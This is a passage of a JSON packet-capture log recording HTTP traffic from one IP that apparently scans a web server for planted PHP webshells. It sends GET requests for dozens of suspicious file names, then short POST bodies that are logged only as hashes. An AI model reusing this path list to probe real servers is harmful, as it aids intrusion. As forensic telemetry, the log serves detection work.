            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/meijianxue.php",
            "http.response_in": "449",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/meijianxue.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bec91ca5e6d6486aab69b6ee",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 448,
          "timestamp_epoch": "1577255503.872644000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/no1.php",
            "http.response_in": "460",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/no1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-dcbb953d90a534a04d565d9c",
          "src_port": 60608,
          "tcp_stream": 9,
          "udp_stream": null,
          "frame_number": 458,
          "timestamp_epoch": "1577255514.871544000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/python.php",
            "http.response_in": "463",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/python.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-eda1c87c51770da458b46b62",
          "src_port": 60608,
          "tcp_stream": 9,
          "udp_stream": null,
          "frame_number": 462,
          "timestamp_epoch": "1577255515.132165000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/woshimengmei.php",
            "http.response_in": "466",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/woshimengmei.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-801b6e130b47052ef07bd6c0",
          "src_port": 60608,
          "tcp_stream": 9,
          "udp_stream": null,
          "frame_number": 465,
          "timestamp_epoch": "1577255515.391181000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/woshimengmei.php",
            "http.response_in": "473",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/woshimengmei.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5e3f013d63e6f0c4e1b651b1",
          "src_port": 61757,
          "tcp_stream": 10,
          "udp_stream": null,
          "frame_number": 471,
          "timestamp_epoch": "1577255520.428386000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/taisui.php",
            "http.response_in": "486",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/taisui.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-56b30b586c3ea1e0be6e3bb9",
          "src_port": 61991,
          "tcp_stream": 12,
          "udp_stream": null,
          "frame_number": 484,
          "timestamp_epoch": "1577255524.481795000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/xiaxia.php",
            "http.response_in": "489",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/xiaxia.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c8aa53dcb34a0bd34d76a4c6",
          "src_port": 61991,
          "tcp_stream": 12,
          "udp_stream": null,
          "frame_number": 488,
          "timestamp_epoch": "1577255524.759416000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/kk.php",
            "http.response_in": "492",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/kk.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b89b7d22f8b7b848262f1604",
          "src_port": 61991,
          "tcp_stream": 12,
          "udp_stream": null,
          "frame_number": 491,
          "timestamp_epoch": "1577255525.040771000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/zzz.php",
            "http.response_in": "502",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/zzz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8075b7f62c38d6f8fe71e57f",
          "src_port": 65014,
          "tcp_stream": 13,
          "udp_stream": null,
          "frame_number": 500,
          "timestamp_epoch": "1577255554.970744000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/99.php",
            "http.response_in": "505",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/99.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-577c614236292442efd8a0d7",
          "src_port": 65014,
          "tcp_stream": 13,
          "udp_stream": null,
          "frame_number": 504,
          "timestamp_epoch": "1577255555.236627000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/dp.php",
            "http.response_in": "508",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/dp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b2212df529ca35a766797207",
          "src_port": 65014,
          "tcp_stream": 13,
          "udp_stream": null,
          "frame_number": 507,
          "timestamp_epoch": "1577255555.503499000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/hs.php",
            "http.response_in": "516",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/hs.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-02e977f7f36e81c4dfd3d099",
          "src_port": 53134,
          "tcp_stream": 14,
          "udp_stream": null,
          "frame_number": 514,
          "timestamp_epoch": "1577255577.898801000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/1ts.php",
            "http.response_in": "527",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/1ts.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2d17f26b0b17950422e08232",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 525,
          "timestamp_epoch": "1577255590.213762000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/haiyan.php",
            "http.response_in": "530",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/haiyan.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-762f08e0fd322cccb5018b0c",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 529,
          "timestamp_epoch": "1577255590.490492000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/phpdm.php",
            "http.response_in": "533",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpdm.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6e500f07e371b46618d9942c",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 532,
          "timestamp_epoch": "1577255590.769645000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/root.php",
            "http.response_in": "536",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/root.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-689e2d2563252d881348d1c0",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 535,
          "timestamp_epoch": "1577255591.048310000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/5678.php",
            "http.response_in": "539",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/5678.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0b1f6599f97a628e4e4d71c7",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 538,
          "timestamp_epoch": "1577255591.326863000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/root11.php",
            "http.response_in": "542",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/root11.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-53cc09a6b4bf16e839bb36c8",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 541,
          "timestamp_epoch": "1577255591.604107000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/xiu.php",
            "http.response_in": "545",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/xiu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-01eb2177d28f04dacb2f9b12",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "frame_number": 544,
          "timestamp_epoch": "1577255591.880762000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wuwu11.php",
            "http.response_in": "548",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wuwu11.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c182b75cb96e6117ef102e15",
          "src_port": 54132,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96",
          "frame_number": 547,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255592.156709000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xw.php",
            "http.response_in": "559",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xw.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8a5e9509ba821b67350d2528",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96",
          "frame_number": 557,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255599.605395000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xw1.php",
            "http.response_in": "562",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xw1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1a879a1ca6c3f6bcdc5df9b3",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96",
          "frame_number": 561,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255599.883804000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/9678.php",
            "http.response_in": "565",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/9678.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-876721e698aec75b53ae5cfb",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96",
          "frame_number": 564,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255600.858894000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wc.php",
            "http.response_in": "568",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a214c270a402d42d9f2ccb6d",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "frame_number": 567,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255601.643251000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xx.php",
            "http.response_in": "570",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a7c7de77ef64acd945a8242e",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "cedc5ec45dfeb1038a22da675c2e39f81bc4ac92edb6d8855ada19c5b408676d",
          "frame_number": 569,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255602.561658000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xx.php",
            "http.response_in": "573",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6be77c7ee00f3d5e1d196d60",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "d865a258acf829c542f35fca5931a773daac3d1a5109d6b6d5d78793ec244ba6",
          "frame_number": 572,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255604.561697000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/s.php",
            "http.response_in": "576",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/s.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2d41e32960f39c5380fae705",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049",
          "frame_number": 575,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255608.779678000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/w.php",
            "http.response_in": "579",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/w.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-19559d421fe323a3da93037b",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049",
          "frame_number": 578,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255609.058608000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sheep.php",
            "http.response_in": "583",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sheep.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a0963905885e695874c67b9e",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 581,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255610.604642000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qaq.php",
            "http.response_in": "586",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qaq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5faea76fdc052e43f51bbdf5",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 585,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255613.561890000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/my.php",
            "http.response_in": "589",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/my.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-709eaaf44a1095992261ab20",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 588,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255613.840418000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq.php",
            "http.response_in": "592",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c672d7b8781f0aa00a96f2ed",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 591,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255614.119116000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aaa.php",
            "http.response_in": "596",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aaa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2aaf5032814d3beed7c7f686",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 594,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255616.925040000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hhh.php",
            "http.response_in": "599",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hhh.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-12d98a2ecc83bedbd45b8478",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 598,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255617.794802000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jjj.php",
            "http.response_in": "603",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jjj.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ee9ac078e49b44865d9a207a",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 601,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255622.246182000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/vvv.php",
            "http.response_in": "606",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/vvv.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-924eb77085ffe492e4710adf",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 605,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255622.541671000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
